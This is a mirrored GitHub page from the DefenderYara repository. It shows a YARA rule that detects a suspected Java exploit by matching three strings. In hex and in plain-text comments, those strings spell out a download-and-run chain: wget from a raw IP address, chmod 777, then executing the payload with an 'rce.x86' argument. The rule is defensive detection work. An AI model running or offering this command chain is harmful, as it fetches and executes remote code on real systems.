mirror of
https://github.com/roadwy/DefenderYara
synced 2026-06-21 14:08:27 +00:00
roadwy
13 lines
514 B
Plaintext
13 lines
514 B
Plaintext
|
|
rule Exploit_WinNT_SuspJavaExploit_D{
|
|
meta:
|
|
description = "Exploit:WinNT/SuspJavaExploit.D,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 00 "
|
|
|
|
strings :
|
|
$a_00_0 = {77 67 65 74 20 68 74 74 70 3a 2f 2f 31 35 32 2e 36 37 2e 36 33 2e 31 35 30 2f 70 79 } //1 wget http://152.67.63.150/py
|
|
$a_00_1 = {63 68 6d 6f 64 20 37 37 37 20 70 79 } //1 chmod 777 py
|
|
$a_00_2 = {2e 2f 70 79 20 72 63 65 2e 78 38 36 } //1 ./py rce.x86
|
|
condition:
|
|
((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3
|
|
|
|
} |